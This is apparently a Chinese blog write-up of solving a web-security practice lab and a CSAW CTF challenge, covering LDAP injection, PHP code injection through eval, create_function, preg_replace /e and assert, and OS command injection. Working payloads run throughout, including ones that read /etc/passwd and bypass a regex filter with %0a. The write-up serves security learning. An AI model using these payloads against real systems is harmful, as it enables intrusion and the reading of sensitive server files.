算是把这个靶场都玩完了吧.
原本对LDAP,代码注入,命令执行不是特别熟悉.通过这个算是学习到了一些基本的知识点.还算是有收获吧
LDAP
Example 1
参考资料
http://www.freebuf.com/articles/rookie/170322.html
写的很详细.
大概意思就是ldap匿名认证的一个缺陷吧.利用空值访问两次就可以得到认证成功的意思.
我对此处的利用不太感冒(ps:是太菜了看得有点晕)..简单的摘抄一下..
1 | 使用用户名和密码连接到LDAP服务器。在这情况下,LDAP不会对您的身份进行验证,因为凭据无效,但是,某些LDAP服务器授权NULL绑定,结合上面的两次绑定方法,我们知道,如果发送空值,则LDAP服务器将会继续绑定连接,并且php代码会认为平局是正确的,所以我们尝试使用空值. |
1 | http://192.168.199.110/ldap/example1.php?username=&password= #可以看还是显示认证失败 |
那我们把参数全部去掉然后尝试一下:
1 | http://192.168.199.110/ldap/example1.php #页面显示认证成功 |
Example 2
这里就和sql注入有些像了.
基本的ldap知识
https://zhhhy.github.io/2018/09/21/LDAP/
了解基础知识以后就可以发现.这是个典型的登录验证的情况.查看源码
发现只要构造
闭合前面的括号的语句就可以了
例如
1 | *))%00 |
还可以用以管理员身份登录
1 | a*))%00 |
这种闭合前面再加上(cn=*)代替password一项
1 | )(cn=*))%00&password=hacker |
caswCTF—-ldab
至于是几个括号..我是一个一个加的试出来的
首先先是输入 * 发现会打印出所有人的信息但是没有flag
然后加一个括号..页面回显错误
继续加并且用%00注释掉后面原本的语句
在加了第三个括号的时候发现输出了flag
1 | <http://web.chal.csaw.io:8080/index.php?search=*))(cn=*))%00> |
1 | *)))%00 |
1 | http://web.chal.csaw.io:8080/index.php?search=f*)))%00 |
我查看了别人的题解..
payload是
1 | *))(|(ou=* |
仔细的猜想了一下.
如果用
* 表示查询所有的元素
,那么应该会把
flag输出出来
.. 可是并没有
.
也就是说,flag
一项被过滤了.
那么用%
00注释以后过滤的语句就被注释掉了
.
那么为什么题解里的payload
是这样的呢
为了保证的语法的正确性,
我们需要用(|(ou=*
来闭合后边多余的括号.
并且把第二个语句用
or语句闭合成正确语句
但是
! 这里是个重点
.
LDAP只会执行左边开始的第一个
语句.
也就是我们后边的语句不执行
,只执行了前面于是使得
flag逃脱了过滤
当我猜想完这些的时候..
再仔细看了一下..
这题有3
个括号..
也就是说,
这只有一个语句!!
也就是后半部分为了闭合后部分的语句并且用or
使后面语句成真...
大概就是这样吧
codeinject
example 1
查看源码发现完全没有过滤..
1 | “;phpinfo();%23 |
闭合前面的引号和封号.注释掉后面的引号封号.就可以了..
还有利用字符串拼接
因为eval函数会把传入的字符串当作php代码执行,于是..就可以执行任意代码了
1 | name=%22.system(%27cat%20/et/passwd%27);%22 |
example 2
http://www.freebuf.com/sectool/168653.html>
问题在于这句
1 | usort($users, create_function('$a, $b', 'return strcmp($a→'.$order.',$b→'.$order.');')); |
usort() 使用用户自定义的比较函数对数组进行排序。语法:
1 | usort(array,myfunction); |
也就是后面的myfunction
自定义函数是可以执行的
1 | create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.'); |
order参数可控..假如我们输入的是
1 | order);}// |
则会闭合成
1 | create_function('$a, $b', 'return strcmp($a→'.$order.',$b→order);}//); |
花括号是为了逃出函数体
1 | http://192.168.43.217/codeexec/example2.php?order=id);}%20phpinfo();// |
成功执行了phpinfor();
当然还可以执行别的命令
例如 查看目录文件夹
1 | order=id);}%20print_r(scandir(%27../%27));// |
读取etc/passwd文件
1 | order=id);}%20print_r(system(%27cat%20../../../../../../../etc/passwd%27));// |
example 3
这部分算是从零开始学习吧
问题出在这
1 | preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]); |
首先了解一下preg_replace()这个函数
1 | mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) |
搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。
参数说明:
1 | $pattern: 要搜索的模式,可以是字符串或一个字符串数组。 |
到这里就可以知道一下代码的意思是,传入一个搜索的模式pattern.一个用于替换的字符串new,一个被搜索替换的字符串 base
1 | preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]); |
知识点来了.
当在pattern中有subject(base)所能匹配的字符串就可以利用/e这个修正复将replacement(new)这个字符串当作php代码执行
于是payload如下
1 | new=phpinfo();&pattern=/lamer/e&base=Hello%20lamer |
不太懂这样的场景会在什么情况下出现.记录一下
example 4
这个似乎..我个人感觉比example3好理解多了..
主要是一个assert()可以将字符串当成php代码执行
看到assert函数就要警惕了,和eval函数都是一句话后门程序。区别在于eval函数中参数是字符串,assert函数中的参数是表达式或者是函数
题目里的问题代码关键点在这
1 | assert(trim("'".$_GET['name']."'")); |
trim()函数去除参数两边的空格,并且使用单引号包裹.
于是我的payload如下
1 | name=%27.print_r(system(%27cat%20../../../../../../../etc/passwd%27));%23 |
用单引号闭合前面的单引号再用 . 来拼接我们的恶意代码最后用%23把后面的单引号给注释掉
网上给的payload如下
1 | name=hacker'.phpinfo().' |
用单引号闭合前后的引号
commandexec
example1
对输入的参数没有过滤
http://192.168.43.217/commandexec/example1.php?ip=127.0.0.1;ls
或是这种方式
127.0.0.1|ls
1 | windows支持: |
回显如下—–列出了目录
1 | PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. |
当然能做的远远不只是列目录
example 2
从后端来看
利用preg_match函数用正则对数据限制了.
preg_match是可绕过的
1.如果在进行正则表达式匹配的时候,没有限制字符串的开始和结束(^
和 $)
,则可以存在绕过的问题
2.或者正则写的不够完善
这里就属于第二种
在源码里可以看到 正则是以/m结尾的
1 | 正则 /m 是匹配换行符,也就是说它只判断换行符前的语句是否合法. |
于是%0a就闪亮登场
1 | http://192.168.43.217/commandexec/example2.php?ip=127.0.0.1%0als |
example 3
发现只要不符合正则就会重定向
抓包发送以后
就能拿到了???
这边原理不是很懂,记录一下知识点当
有302重定向的时候可以利用抓包来逃脱